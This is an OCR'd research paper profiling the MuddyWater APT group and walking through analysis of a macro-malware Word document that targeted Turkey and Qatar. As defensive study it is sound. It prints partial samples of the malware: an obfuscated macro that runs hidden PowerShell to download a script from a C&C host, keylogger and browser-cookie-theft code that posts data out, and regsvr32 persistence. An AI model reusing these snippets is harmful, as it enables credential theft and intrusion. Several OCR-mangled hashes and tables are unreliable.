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Abstract— Macros are consisted of instructions and commands mainly used to automate tasks, embed functionality and
provide customization of Microsoft Office documents. However, they have been exploited by malicious hackers by
creating malware since they were introduced. Recently, Advanced Persistent Threat (APT) Groups have generally used
macros as attack vectors as well. Since 2017, Middle Eastern countries’ governmental institutions, and strategically
important oil, telecommunication and energy companies have been targeted by the APT Group probably affiliated with
Iran, and the group is named as MuddyWater by analysts due to the techniques they utilized to cover their tracks. The
group has generally conducted attacks via macro malware. In this work, we aimed to raise awareness regarding
MuddyWater APT Group and provide a detailed methodology for analyzing macro malware. The attributions, strategy,
attack vectors, and the infection chain of MuddyWater APT Group have been explained. In addition, a malicious
document, targeting Turkey and Qatar, detected first on 27 November 2018 have been analyzed, findings and proposals
have been presented for cybersecurity professionals.
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MuddyWater APT Grubu ve Makro Zararli Yazilim Analizi
Metodolojisi Onerisi

Ozet— Microsoft Office belgelerinin dzellestirilmesini ve sik kullamlan gérevlerin otomasyonunu saglayan makrolar
uzun siiredir kotl niyetli kisilerce zararli yazilim iiretiminde kullanilmaktadir. Son yillarda ileri diizey kalici tehdit
gruplarinca da makro zararli yaziliminin atak vektorlerinde kullanildigi bilinmektedir. 2017 yilindan beri Ortadogu
tilkelerinin kamu kurumlarin1 ve enerji, telekomiinikasyon, petrol gibi stratejik alanlarda faaliyet gosteren sirketleri
hedef alan, analistler tarafindan kendilerini gizleme egilimleri nedeniyle MuddyWater olarak adlandirilan ve iran ile
iliskilendirilen grup da makro zararli yazilimi kullanmakta ve Tirkiye de dahil olmak tizere bolge iilkelerinde
eylemlerini siirdiirmektedir. Bu c¢aligmamizin temel amaci MuddyWater ileri diizey kalict tehdit grubu ile ilgili
farkindalig1 arttirmak ve ornek bir makro zararli yazilim analizi metodolojisi sunmaktir. Bu kapsamda, MuddyWater
grubunun ozellikleri, eylem stratejisi, atak vektorleri ve bulagma zincirine yonelik elde edilen bilgiler paylasilmstir,
ayrica ilk defa 27 Kasim 2018’de uzmanlarca tespit edilmis, Tiirkiye ve Katar’1 hedef aldig1 degerlendirilen bir zararl
dokiimanin ayrintili analizi yapilmus, bulgular ve 6neriler sunulmustur.

Anahtar Kelimeler— Makro Zararli Yazilimi, MuddyWater, fleri Diizey Kalic1 Tehdit, Zararli Yazilim Analizi, Adli
Bilisim
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1. INTRODUCTION

Today, the economic damage and leakage of mission
critical data is a serious social problem due to the APT
attacks [1]. These attacks can affect the world at large,
and we can only be informed when it reaches the level of
damaging critical infrastructure due to using sophisticated
attack techniques such as zero-day [2].

A macro is a series of commands and instructions based
on Visual Basic for Application introduced with
Microsoft Excel 5.0 in 1993 and used to automate tasks
for Microsoft Office applications and provide so-called
script engines to create and run macros [3]. Macros can be
used to embed various types of functionality within
documents such as accessing the command ling,
embedding pop-up calendars and so on [4].

However, same commands and instructions sets can be
used to embed malicious functionality within documents
as well [5]. The first and distinctive instance was Melissa
virus detected in March 1999 [6]. In the second quarter of
the year 2017, there was about 1.250.000 macro malware
totally in the cyber ecosystem and there was about
1.600.000 macro malware detected in the second quarter
of 2018 [7].

Macro malware is also used by APT groups and the most
recently notorious one is MuddyWater APT Group, first
detected in September 2017 [8]. Since then, the group has
targeted Middle Eastern countries’ governmental
institutions, NGOs, oil, and energy companies. Turkey
has been concurrently targeted as well.

With this motivation, we strove for conducting the study
on MuddyWater APT Group and analyzed a malicious
document sample, targeting Turkey and Qatar, detected
on 27 November 2018.

The basic contributions of this work to the literature are as
follows. We will present a review of MuddyWater APT
Group’s activities. We will also provide a detailed
methodology in terms of macro malware analysis by
means of analyzing a sample malicious document step by
step.

The rest of the work is as follows. Section Il defines and
provides an overview of MuddyWater APT Group
activities. Section 1l presents the analysis of the
malicious document that has been recently taken. Section
IV is about the limitations and Section V concludes with
future directions and recommendations.

2. MUDDYWATER APT GROUP

MuddyWater APT Group was an active threat actor in
2017. The group targeted victims in the Middle East
within memory vectors leveraging on PowerShell. In
attacks, the creation of new binaries was not required,
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thus a low detection profile and forensic footprint are
retained [8].

2.1. Detection

First public report regarding the group was published on
18 September 2017. First public technical analysis was
published on 26 September 2017 by Malwarebytes and
the target of the attack was announced to be Saudi Arabia
[9]. Some malicious documents detected in the ecosystem
dates to February 2017, seven months before the first
public report [10].

2.2. Naming

For the sake of efforts to hide and cover their tracks, the
alias of “MuddyWater” was given to the group on 14
November 2017 by PaloAlto analysts and since then it has
been used to describe the group [10]. “TEMP. Zagros”
alias has also been used to describe the group after finding
a file with the same name [11].

2.3. Affiliation

During the analysis conducted by Reaqta specialists, a
Tehran located IP address was detected while dealing
with a real IP address (not a proxy or a victim used to
conceal the real address). This evidence was evaluated as
a mistake from one of the group’s operators [8].
Considering targeted countries, identities of the victims,
efforts of gathering and uploading of information to
Command and Control (C&C) servers [12], efforts to
cover tracks and detected Tehran located IP address, it
appears that the group’s attacks have specific
characteristics of APTs [13], and the main purpose of the
group is cyber espionage rather than cybercrime. Thus, it
can be reasonably concluded that the group has been
affiliated with Iran and controlled by the state.

2.4. Targets

Attacks in 2017 targeted Georgia, India, Iraq, Israel,
Pakistan, Saudi Arabia, Turkey, United Arab Emirates,
and the USA. In 2018, Turkey, Pakistan, and Tajikistan
were mainly targeted [12]. Government institutions,
telecommunication and oil companies, energy companies
were targeted [8] but no clear information was obtained
during the research to find out which institutions and
companies were hit.

2.5. Attack Vectors

MuddyWater has generally used malicious Word
documents and spear phishing emails to infect their
targets, as Dugu and Red October APT groups did before
[14]. MuddyWater attacks are characterized using a
slowly evolving PowerShell-based first stage backdoor
“POWERSTATS” [15]. The attack has continued with
only incremental changes in the tools and techniques
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used. The delivery methods of malicious scripts are
various such as downloading from a remote exploited site
or embedding to macro codes [10].

The group has used the decoy documents to impersonate
government organizations as shown in Figure 1. Each of
documents is written in the language of the targeted
country. Most of the documents have also included
government emblems and legitimate signatures [16].
Thus, original documents obtained before may have been
used during attacks.

L«
d. Turkey

c. Israel

Figure 1. Decoy Documents

Malicious documents have been attached to tailor-made,
victim-specific spear phishing emails considered as
legitimate in order to gain the trust of victims, and these
emails have been sent only to specific victims in targeted
organizations (see Figure 2) [17].

From:

Date: Monday, February 12, 2018 4:05 PM
To:

Subject:  Guvenlik yonergesi

Attach: M MIT.doc (1.62 MB)

Lutfen yiklenen dosyayi dikkatle kontrol edin

MDS5 Hash Kodu
cefOb101557¢5bd1266100fect7cd521

Saygilarimla

Milli Istihbarat Teskilati Kurumsal E-Posta Servisi

Figure 2. Spear Phishing Email

To avoid detection, obfuscation methods have been
commonly  implemented by  malware  writers.
MuddyWater Group has obfuscated malicious codes as
well. Base64 encoding, character replacement, reversing,
XOR encoding, Powershell Environment Variables,
parameter binding methods, and Daniel Bohannon’s
Invoke-Obfuscation methods have been detected during
the analysis [8], [17].
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2.6. Infection Chain

Documents used have been blurred to victims, and
victims have been enforced to enable macros to make
documents readable. After enabling macros, malicious
codes, mostly based on visual basic, have been executed,
and infection mechanism has been triggered [12].

In many cases, after triggering, a TCP connection has
been established to a remote server and malicious
PowerShell files have been downloaded to the victim’s
computer for post-exploiting [18]. Malicious codes for
post-exploiting have hardly ever been embedded to
macros [19].

Some backdoors created support rebooting, shutdown,
wiping drives, encrypting, and stealing information on
victim’s computer. The communication between the
victim and C&C servers have been encrypted [17].

2.7. Infrastructure

The group has exploited several websites which have
vulnerabilities such as unpatched version and has used
these websites as proxy servers. The group’s operators
have never communicated directly with victims or proxy
servers; instead, they have only interacted with C&C
servers. Victims have communicated directly with
randomly chosen proxy servers as shown in Figure 3 [8].

Operators C&C Server Victims

Proxy Server

Figure 3. The Communication Infrastructure of
MuddyWater APT Group

2.8. MuddyWater Documents Targeting Turkey

Fifteen malicious documents affiliated with MuddyWater
APT Group have targeted Turkey up to now [16]. Details
of these documents are shown in Table 1.

Table 1. The Group’s Malicious Documents

Date Name MD5
2015 Y1l Ar-Ge 781bbdb421a473206fc3

18.01.2018 | Faaliyetleri Anketi | 7919f28a27db

Sonuglart.doc

faad469d5cd90623312c

18.01.2018 | ngn.tr.doc 86465124930
KEGM- e87ea47e91540700b310

28.01.2018 CyberAttack.doc 82515d2dc802
ffb8ea0347a3af3dd2abl

28.02.2018 | MIT.doc bde5albel8a
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03.03.2018 | IL-1801.doc g%%t%g%?;%iﬁ“ff05e84
05.03.2018 %ﬁovcenlikyénergesi ;f;ggsg;gslfelzsoazcee
Tiirkiye 84914c30ae4e6b9b1f2
05.03.2018 | Cumhuriyeti 3d5c01e001ed
Kimlik Karti.doc
oo | B, | B
15052018 | Gizli kosullardoc | o0 o 000028062920
15.05.2018 | Early election.doc Ezggizgggjggdoebgaw
21.05.2018 | 6nemli rapor.doc ggggzgiscfzec?smmlcz‘%
oo | SEmyy | e
16.07.2018 | Onemli Rapor.doc 2%512216683;25#:0%%0

3. THE ANALYSIS OF A RECENT MALICIOUS
DOCUMENT

3.1. Review

The first submission date of the sample malicious
document on VirusTotal is 27 November 2018. The first
public report was published on 29 November 2018 [20].
Original name of the document is “éleiwdoc” but we
named it as “form.doc” to ease coding (MD5 or SHA
hash digests didn’t be changed after renaming).

According to analysts, the attack, targeted Turkey and
Qatar, had common characteristics of advance persistent
threats. No malicious binary was written on disc and the
attack was conducted with legal applications [21].

The document was consisted of a submission form to
attend “The Second Conference of the Association of
Parliamentarians for Al Quds” which indeed took place in
Istanbul on 14-15 December 2018. The document forces
the reader to enable macros (see Figure 4), so did
previous MuddyWater documents. The document
includes emblems of legal organizations as shown in
Figure 5, the contact phone numbers and emails are also
legitimate, which was confirmed by checking
Parliamentarians for Al-Quds organization’s website.

We have strongly emphasized that there is no clear
evidence to affiliate the document with MuddyWater
despite there are many similarities. But there is no doubt
that the methodology used to analyze the document will
be a major contribution to further studies regarding macro
malware analyzing.

1] Office

ok o) s e g il it
et

Figure 4. The Screenshot before Enabling Macros

e
Ul

The Sccond Conference of the Association of
“Parliamentarians for Al Cuds"™
ISTANBUL, 14-13 December 2018

INDIVIDUAL INSCRIPTION FORM
¥Indly il ?he form and return Back not i3ier han 1 December_2018 10 following addrassas:

Abdailish ELBALTAN
Parllamentarians for Al Guds
Mol - {+90) 544 455 63 358
{+30) 553581 45 20
Eman - ifoeaniama-guds Com

Figure 5. The Screenshot after Enabling Macros
3.2. Malware Analyzing Methodology Design

In order to improve efficiency, live forensic analysis
methods were employed [22]. All tests were conducted on
a Microsoft Office 2017 installed on Windows 7 for the
x64-based virtual machine. Local IP address was set as
192.168.1.24. Audit object access was enabled in group
policy, and necessary audit permission was given to user
account in order to get healthy security logs. Snapshots
were taken to provide secure baselines for repeated
analysis. No commercial tool except Microsoft Office
2017 and VMware Workstation Professional was used
during analysis to provide researchers insights regarding
open-source tools.

A holistic approach was implemented to conduct a
detailed analysis but only processes verified are explained
[23], [24], [25]. The order of analyzing steps is given
below.

i. The metadata was obtained with ExifTool.

ii. The malicious macro code was extracted with
OfficeMalScanner.

iii. The malicious macro code was de-obfuscated with
a PowerShell script created.

iv. The malicious document was executed, and
macros were enabled.

v. The network activity of processes was detected by
Sysinternals TCPView. Packet traffic was captured with
Wireshark, and then packets were analyzed.

vi. Process tree and mutexes were obtained with
Sysinternals procexp.
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vii. The malicious script file downloaded from the
C&C server was analyzed.

viii. Files dropped by malicious script were checked on
Temp folder.

ix. Registry snapshots were taken with Sysinternals
Regshot x64 Unicode before and after the infection.

X. The pieces of evidence found were crosschecked
with Windows security event logs by using Event
Explorer to reveal unidentified Indicators of Compromise
(10Cs). Especially 4702, 4660, 4663 Process ID (PID)
events were considered.

xi. The document and malicious script were uploaded
to VirusTotal and results were discussed.

3.3. Metadata

The metadata of malicious document was obtained via
ExifTool as shown in Figure 6. There are contradictions
regarding “Last Printed” and “File Create Date”
information (Table 2). This situation occurs when a
document is printed and then saved as a new document.
Unless this new document is reprinted, it will have
previous template’s “Last Printed” timestamp. In addition,
there are tools to remove or edit the metadata of Microsoft
Word documents such as MetaClean.

C - \U“el“\“elkan\De“ktDD)eletDDl form.doc
ExifTool Uersion Number i1.22
File Mame

Directory

File Size

File Modification Date-Time

: form.doc

: i94 kB
: 2818:11:29 B8:50:10+03:00
: 127 14:3@8:5 :

File
File
File

: 127 14:39:55+03 :00
I PUTPUTPRU—

Figure 6. The Metadata Obtained from ExifTool

Table 2. The Metadata of the Malicious Document.

File Create Date 2018:11:21 15:18:00

File Modify Date 2018:11:22 12:25:00

Last Printed 2018:10:19 17:14:00

Code Page Windows Arabic

Last Modified By Mohamed Bennabszllah
Author Parliament Quds

File Type DOC

Software Microsoft Office Word

3.4. Analysis before Enabling Macros

In order to detect whether there were any scripts attached
to the document, the document was scanned on
OfficeMalScanner and the visual basic macro code was
found as shown in Figure 7.
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@8 CAWindows\system32\cmd. C=1e]

C:\Usersiserkan \Desktop Of f iceMalScanner>0f f iceMalScanner.exe form.doc info

[»] INFO mode _.elected

UAS FOUND INS
d Macro code v

Figure 7. The Scanning Document with
OfficeMalScanner

The extracted macro code was evaluated in detail. As
obfuscation methods were commonly used in malicious
macros [26], some methods were detected in the
respective document’s macro code as well, as shown in
Figure 8.

With CreateCbject ("WScript.Shell")

.Run "Cmd /c " + Chr(34) + "™ EcHo iEx ( new-oBjeCt
sYStem.Io.COmPreSSi0N.deflhtEstreim([systen. Io.mEmor¥StrEAM]
[ConVerT] : : ERomBaSEG4STRing (

' BcEXERRAwWEAXQg+h(QSHotCg2FgjbWYolNJvEeME3uvTSasGPirxvVig] YweMerd
4UVpWnDpz 64bUTSPY r8BGIt780UWht 2bAT0eNETk1GGAVEavAQKIio/ ')
[sY=TEM.lo.compressIOn.CoMpREs=si0Onmode] : : DECOMPRESs ) “**| %

{new-oBjeCt io.S8TreaMreader( § , [TexT.ENCoDInG]::a5Cii )}

) .REadtOEnd() | pOwErShelLl -NoeX -nOlo —-NOproFilLe -nCnIn -
eXeCuTI Bypass -wiNdoWst¥L hiDden -" + Chr(34), 0, False
End With

Figure 8. The Macro Code Attached to Document

Firstly, there is cmdline invoking with parameters. Then
cmdline invokes PowerShell with some other parameters
and some expressions are echoed to bypass antivirus
filters and cmdline monitoring.

Deflate and Base64 encoding were detected and to decode
“B¢cEXEKAWEAXQq+hQSHotCg2FgibWYoINJveM63uv
75asGPirxvViQjYwzMxr44UVpWnDpz64bUISPYr8BG
Jt7SOUwWht2bA70eNE7kIGGdVEsvZQkli9/” expression,
a script was created. After decoding of obfuscated
expression, downloading string from a remote server code
was found out as shown in Figure 9.

Mxr44UVpHNDPZE4bUTSPY BB

i/escript’)

a.linkpc.net/

Figure 9. The Screenshot of the De-Obfuscation Process

In addition, randomized case usage to bypass simple
filters and parameter binding methods were detected on
the macro code. Since PowerShell can complete missing
parameters, malware writers often code parameters as
scrimpy expressions. Scrimpy and complete parameters
are given below respectively.

pOwErSheLl -NoeX -nOlo -NOproFilLe
-eXeCuTI BypAss -wiNdoWstYL hiDden -

-nOnIn
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powershell -noexit -nologo -noprofile
-noninteractive -executionpolicy bypass

-windowstyle hidden

-NoExit: Don’t exit after running startup commands.
-NoLogo: Hide the copyright banner at startup.
-NoProfile: Don’t load the PowerShell profile.
-Nonlnteractive: Don't present an interactive prompt to
the user.

-ExecutionPolicy Bypass: Bypass the policies.
-WindowsStyle Hidden: Hide the session’s window.

URL and its IP address were detected as hxxp://
microsoftdata.linkpc.net/api/cscript and 18.221.254.112
respectively. The malicious script was also detected on
that website as shown in Figure 10. Some other indicators
of compromise (I0Cs) and functions were detected on
this (cscript) script.

Figure 10. The Script Detected on the Malicious Website
3.5. Analysis after Enabling Macros

The pre-enabling macro analysis was completed, 10Cs
detected were noted down. Registry hive was saved with
Regshot. Process Explorer was initiated. TCPview and
Wireshark were activated. Then macros were enabled on
Microsoft Word, the document became readable as
expected.

3.5.1. Process Tree and Network Connection

Upon enabling macros, WINWORD.exe started cmd.exe
(PID 1188) child process. Cmd.exe started powershell.exe
(PID 688) child process and another powershell.exe (PID
3020) child process was created as well (see Figure 11).
Powershell.exe (PID 688) process established a TCP
connection to 18.221.254.112 IP address as expected (see
Figure 12).

T3 procexphd exe 74 776K T144 K 3222 Sysintemals Process
= (i) WINWORD.EXE 270 20204 K 46440 K 2720 Microsoft Office Word
n | splwow6d exe 1324 K 4836 K 2124 Print driver host for 32bit appl. |
= gl cmd exe 2184K 3860 K 1188 Windows Komut igemcisi
= Epowershell.awe 0.01 2734 K 41052 K £88 Windows PowerShell
3 powershel exe 444 26516 K 32136 K 3020 Windows PowerShel

Figure 11. The Process Information (obtained from
process explorer)

TETT &3 oo
[F7 Spstem 4 TCPYE
57 wininit.exe 428 TCR
57 wininit.exe 428 TERYE
|&F powershellexe 688 TCP

TP TTETO =
win-di0f3qpSt3n microso... win-di0f3gpStan

WIN-DFOF30... 43152 WIN-DFOF30PST3N

win-di0f3qpStan 49152 win-di0f3qpStan

win-di0f3qpSt3.. 49808 ec2-18-221-254-112 us-east-Z. compute. amazonaws.com

Tooo

tp

Figure 12. TCP Connections (obtained from TCPview)
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First packets captured on Wireshark were DNS queries as
expected (see Figure 13). The HTTP GET request was
sent to the website from the victim and then downloading
the malicious script (cscript) process was started as shown
in Figure 14.

Figure 13. DNS Packets Sent by Victim to Get an IP
Address of C&C Server (provided by Wireshark)

M rmocro_slquds.peapng 5]
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
a4 m @ BB QRea==2F LsS]Eaqand

[ip.addr ==18.221.254.112 (<] -] Expression

o Source Protocol  Length Info
57 192.168.1.24 18 54.112 Tce 66 49207 + B0 [SYN] Seqad WineB182 Len=o MSS=1460 WS

192.168.1.24 TcP

18.221.254.112 Tcp

18.221.254.112 HTTP

192.168.1.24 TcP

58 18.221,254.112
59 192.168.1.24
68 192,168.1.24
61 18.221.254.112

66 86 - 49207 [SYN, ACK] 5eq=0 Ack=1 Win=43480 Len-g
53 49207 + 80 [ACK] Seq-1 Ack-1 Win-65536 Lan-o

139 GET /api/cscript HTTP/1.1

54 88 = 49207 [ACK] Seq=1 Ack=86 Win=43520 Len-8

Figure 14. The Communication Between Victim and
C&C

3.5.2. Registry Comparison: Before and After Enabling
Macros

There were eight keys added to the registry after enabling
of macro and “rYFlpgeADA” named schedule task
record was detected as shown in Figure 15. Creating a
scheduled task is a well-known persistency mechanism in
terms of malware writing. Thus, this IOC was noted down
and “analyzing scheduled tasks” step was added to the
analysis plan.

e 2018/12/27 28:17:48 , 2018/12/27 20:28:41
DFBF3QPETIN , WIN DF@F3QPET3N

JHic LI\ SOF T
JrcLrms0F Twa
JHK LIS OF T

sAttempted

tVerslon\Schedule\TaskCache\Plain\ {482EE801 -25FC -4858-B5DA-4380CB343750}
" kCach AQPEEAQ] 2SFC-4B65.-BSDA- 438DCE34379D}

\SchedylenTaskCache\Trea\ryElpgenoa |
\Software\Micrasoft\Internet Explorer\Recovery\AdminActive

Figure 15. The Keys Added to the Registry After
Enabling Macros (provided by Regshot)

3.6. The Analysis of Downloaded PowerShell Code

The downloaded “cscript” has many malicious functions
and main activities can be summarized as keylogging and
stealing cookies, sessions, and logins from Chrome,
Mozilla, Opera and sending collected data to the C&C
server. In addition, the script creates a scheduled task
including squiblydoo attacks to enable persistence and
creates global mutex to prevent multiple executions. To
communicate with local databases of browsers, script
downloads SQLite.dll files to the victim’s computer as
well.
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3.6.1. Keylogging

Keylogging function is based on Windows API function
GetAsyncKeyState (see Figure 16). This type of
keylogger may be easily created since various examples
are available on the internet.

$scriptblock logger = {
param{$Path)

if (-not $Path) {exit}

$signatures = @'
[D11Import(“user32.d1l", CharSet=CharSet.Aute, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[D11Import(“user32.d11", CharSet=CharSet.Auto)]
public static extern int GetKeyboardstate(byte[] keystate);
[D11Import(“user32.d1l", CharSet=CharSet.Auta)]

Figure 16. The Keylogger Script Embedded into the
Downloaded Malicious Script

Cscript creates a file to path C:\Users\[username]\
AppData\Local\Temp\ named as rYF1lpgeADA.log and
records activities and keys pressed (see Figure 17).

| r¥FipgeADAlog - Not Defteri

Dosya Dizen Bicim Gérdndm  Vardim

wii, etu. edu, trhotmail

[Microsoft hesabinizda oturum acin - Google Chrome] [27.12,2018 20:35:43]
abcde@hotmail, comabe123456gmail

[Gmail - Google chrome] [27.12.2018 20:39:22]

qwerty@gmail, comd321

Figure 17. Recorded Logs of Keylogger

The script encodes log file and sends to
“hxxp://microsoftdata.linkpc.net/api /logger/submit” URL
address as shown in Figure 18. The encoding method is
defined in URL POST function as shown in Figure 19.
All communication between the victim and C&C server is
encoded with the same function to prevent sniffing.

[function BrowsersLOGGER () {

$install_dir = [System.Environment]::expandenvironmentvariables(§install)
if (!(Test-path $install_dir)) {
$install_dir = Senv:TEMP

$data = [System.I0.File]::ReadAllText($install_dir + "Y' + $name + '.7og")
™
Y if (§data -ne $null) {
while (CurlposT "$panel_url/api/logger/submit” $data) -eq $false) {
start-sleep -5 60

Remove-Item ($install_dir + "\' + $name + ".7log"')

} catch {}

Figure 18. The Script for Sending Encoded Keylogger
Records to C&C server

[function ur1PosT($1ink, $data)
{

try
SwebRequest = [System.Net.WebRequest]::Create($1ink)

encodeddata = set-Encryptedbata —key $secret -plainText Sdata

uid = uid

encodedContent = [System. Text.Encoding]::UTF8.GetBytes( uid=Suid&data=$encodeddata™)

SwebRequest.Method = 'POST’

SwebRequest. ContentType — “application/x-wwi-Form-urlencoded”

Figure 19. The Script for Encoding Communication
Between the Victim and the C&C server

3.6.2. Stealing Cookies, Sessions, and Logins
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Cscript has capabilities of stealing cookies, sessions and
login information of Chrome, Mozilla and Opera
browsers (see Figure 20). It collects and records data.
Before posting to C&C server, it encodes data and sends
to specific URLs as shown in Figure 21.

[function BrowsersCOOKIES ($website,S$cname) {

§Chromeps = ChromeDs
§ChromeSESSION = "'
$ChromeSESSION = ChromeSESSION "$chromeDB\Cookies” Swebsite $cname
if ($chromesessION) {
# $ChromeSESSION | Set-Content "$env:templ\c_cookies.text”

while (Cur1POST_"S$panel_url/api/chrome/submit” $ChromeSESSION) -eq $false) {
} start-sleep -s 60

Figure 20. The Script for Stealing Cookies of Google
Chrome Web Browser

[ =T

Mo, Source Destination Protocl  Length Info A
. 18.221.254.1. 192.168.1.24  HTTP 79 HTTP/1.1 180 Continue
. 192.168.1.24 18.221.254.112 TCP 1294 49267 > 80 [ACK] Seq=565 Ack=1032230 Win-1617856 Len=1248 [TCP segme..
. 192.168.1.24 15.221.254.112 HTTP 138 POST //api/chrome/submit HTTP/1.1 (application/x-wm-form-urlencode..
. 18.221.254.1. 192.168.1.24  TCP 54 80 - 49267 [ACK] 5eq-1032230 Ack-1885 Win-36076 Len=8 |

Frame 1267: 138 bytes on wire (1104 bits), 138 bytes captured (1104 bits) on interface &

Ethernet IT, Src: £2:10:45:1d:83:16 (£2:10:45:1d:83:16), Dst: £2:00:eb:d6:Ff:ad (£2:00:cb:d6:F:a0)
tocol Version 4, Src: 192.168.1.24, Dst: 18.221.254.112

Control Protocol, Src Port: 49287, Dst Port: 88, Seq: 1805, Ack: 1032230, Len: 84

[3 Reassembled TCP Segments (1629 bytes): #1263(305), #1266(1248), #1267(84)]

Hypertext Transfer Protocol

HTHL Form URL Encoded: application/x-wm-form-urlencoded

Figure 21. The Encoded Data Sent to the C&C Server
3.6.3. Creating Mutex

The script creates a “rYF1lpgeADA” global mutex to
prevent multiple executions. The name of mutex was also
noted down as I0C. In Windows OS, mutexes are called
as “mutant” and mutants created may be easily detected
with Sysinternals Process Explorer as shown in Figure 22.

' Process Explorer Search

-
Handle or DLL substring: mutant Cancel
Pmcegs FID Type MName -
powershell e... 688 Mutart  \Sessions'1"BaseMNamedObjects RasPbFile

el
3020

powershelle... Mutant '-.BaseNamedObjects"rYHpgeADA_

i powershellze::: 3020 Mutant '-:Sessions"-:‘l"-:BaseNamedObjeds"-DBWinMutex

Figure 22. Global Mutex Created After Infection
(obtained from procexp)

3.6.4. Creating Scheduled Task

To provide persistence, “cscript” enables task scheduler
COM APl to create a scheduled task named as
“rYFlpgeADA” (see Figure 23). The details of the
persistence mechanism are presented in section 3.8.

:Now. Addwinutes (5). Tostring("yyyy-mu-dd ' T' Hu:mm:ss")

urat or sFalse

-5

sac
saction. pa
Saction

"'+ ' scrobj.dl1’ ## Sinstall_command

Figure 23. The Script for Creating the Scheduled Task
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3.7. Behavioral Tree of Malware

After double-clicking on the document, PID 2720
WINWORD.exe was activated. Upon enabling macros,
child process PID 1188 cmd.exe was activated and it
started PID 688 child process powershell.exe with
parameters (see Figure 24). This process established the
connection to 18.221.254.112 IP address and downloaded
and executed malicious “cscript” and by doing so, this
process read cookies, loaded Task Scheduler COM API,
and dropped SQLite.dlls created .xml and .log files as

shown in Table 3.

3020

powershell.exe

688

winword.exe

PID: 2720

1188

Figure 24. The Action of Processes

Dropping files to TEMP folders is a prevalent method
since TEMP folders have read and write access for the
currently logged-in user, solving any file system
permission errors. In addition, in the case of a malware
installation failure, the operating system removes any
traces of the files in TEMP folders and prevents a
corrupted version of malware being collected by analysts
[27].

Powershell.exe (PID 688) process also sent the data to
18.221.254.112 IP address. All network communication
was established and conducted by this process. It also
initiated child process powershell.exe (PID 3020) and this
process modified some files in the AppData\Roaming
path and made some changes in registry hive. Some other
legal child processes (csc.exe, cvtres.exe, splwow64.exe)
were ignored as no direct contribution to malicious
activities was detected.

Table 3. Files Detected on Disc after Infection

File Path and Name Type
C:\Users\[username]\AppData\Local\Temp dll
\lib_x64\System.Data.SQL.te.dll
C:\Users\[username]\AppData\Local\Temp dll
\lib_x64\System.Data.SQL.ite.Interop.dll
C:\Users\[username]\AppData\Local\Temp sqlite
\201812041014 (Filename is created with
timestamp of system)
C:\Users\[username]\AppData\Local\Temp xml
\rYF1pgeADA.xml
C:\Users\[username]\AppData\Local\Temp log
\rYF1pgeADA.log
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3.8. Persistence Mechanism

In order to enable the persistence, cscript created a
scheduled task named “rYF1lpgeADA”. Daily on 8:24
pm, rYFlpgeADA.xml file (includes malicious scripts
same as cscript as shown in Figure 25) was executed by
regsrv.32 (see Figure 26). This method is called
squiblydoo attack and was used in campaigns targeting
governments before [28].

<ML version="1.8"?»
Sl<scriptlets
—l<registration
progid="rYFlpgeADA"
classid="{3cf925ab-14c5-4324-9b5c-bbe294ac@3an}"” >
] <script language="JScript">
E <! [CDATA[

http://microsoftdata.linkpc.net/"”

Figure 25. The XML File Used in the Persistence
Mechanism

& VFipgeADA  Hazr  Her gin 20:24 saatinde - Tetiklendikien sonra, belirsiz sireyle yineleme araligr: 00:5900  27.12.2018 20:24:01

arlar | Gegmis (devre digt biraklch)|

Bir gorev olugture olusacak eylemi belitmeniz gerekir. Bu eylemleri degistirmek igin, Ozellikler

kemutunu kullan;

Eylem Aynntilar
regsvr32.exe fu /n /s /il C\Users\serkan\AppData\ Locah Temp\rYF1 pgeADAxmI" scrabj.ll

Program baglat

Figure 26. Scheduled Task Created After Infection

Since the malicious script is run by the legitimate
Microsoft binary, this method provides elusion from the
many of detection and blocking mechanism inherent to
whitelisting solutions [28], including group policy
management based on AppLocker [29].

3.9. Infection Chain

After the analysis, we accomplished to reveal the
infection chain of this macro malware document as shown
in Figure 27.

© © © © O
&@'—b == —bg—bE—P—
T e

Figure 27. The Infection Chain of Macro Malware

Firstly, the document arrives at a victim as the attachment
of an email. The victim tries to open the document. After
enabling macros, the visual basic script is executed, and it
invokes PowerShell script. A connection is established to
C&C server by this script and a multi-functioned
malicious PowerShell script is downloaded to victim’s
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computer. Finally, downloaded script is executed in the
victim’s computer and stolen data is sent to the C&C
server.

3.10. Indicators of Compromise

All 10Cs revealed during the analysis were presented in
Table 4.

Table 4. Revealed 10Cs

File Name | 4 taiw/doc (iistmar -> Form)

MD5 bba017e5c34c1de3ef0fb0d93195da70

File Name | cscript

MD5 3ab1d57658af32f2322600f1750d0231

URL hxxp://microsoftdata.linkpc.net/assesst/ sglite
hxxp://microsoftdata.linkpc.net/api /cscript
hxxp://microsoftdata.linkpc.net/api /pscript
hxxp://microsoftdata.linkpc.net/api
/logger/submit
hxxp://microsoftdata.linkpc.net/api/opera
/submit
hxxp://microsoftdata.linkpc.net/api
/chrome/submit
hxxp://microsoftdata.linkpc.net/api
[firefox/submit

IPv4 18.221.254.112

Mutex Global\rYF1pgeADA

Scheduled | rYFlpgeADA

Task Name

3.10. VirusTotal Scanning Results

The last uploading of 10Cs into VirusTotal was done by
us on 27 December 2018, a month after the first detection.
Despite a month passed, many antivirus solutions still do
not recognize the “islaiw/doc” file as malicious (see
Figure 28). Similarly, they recognize the “cscript” file as
clean (see Figure 29).

\\\\\\\

.........

TheHacker

2
PO OOdODAdONOO
g
00O O

Figure 28. The Screenshot of “é_teiwdoc” File Scanned
on VirusTotal
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Ad-Aware AegisLab

AhnLabv3 Antiy-AVL
Arcabit Avast
Avast Mobile Security AVG
Babable
BitDefender
CAT-QuickHeal

Emsisoft

F-Prot

0000000
0000000 OQDO

Figure 29. The screenshot of “cscript” file scanned on
VirusTotal

5. LIMITATIONS

In terms of MuddyWater APT Group, several technical
reports were studied, and various results were analyzed
during research, but no comprehensive analyzing
methodology or effort of sharing know-how was detected.
In addition, no tangible information was obtained
regarding infection or targeting statistics.

We examined threat announcements published on
TRCERT website. Only one threat (TR-14-001)
announced on 14 July 2014 was found regarding macro
malware [30]. As for Turkish publications, only one
report was found but this report was a clear and detailed
one [16].

There are various pre-paid tools and solutions to analyze
malicious documents which automate analyzing steps to
improve efficiency and speed. The open source tools have
been deliberately used not only to support low budgets
but also to provide insights to researchers and encourage
them to take advantage of these free tools.

Live forensics methods made our analysis practical and
efficient as we carried out tests on a virtual machine, but
in real-world scenarios, the order of volatility must be
considered. Some initial data may be collected on a live
machine, but bitwise images of disc and memory must be
acquired [31], these images are called “best evidence” and
further analysis must be conducted on them.

Considering published reports regarding the case of
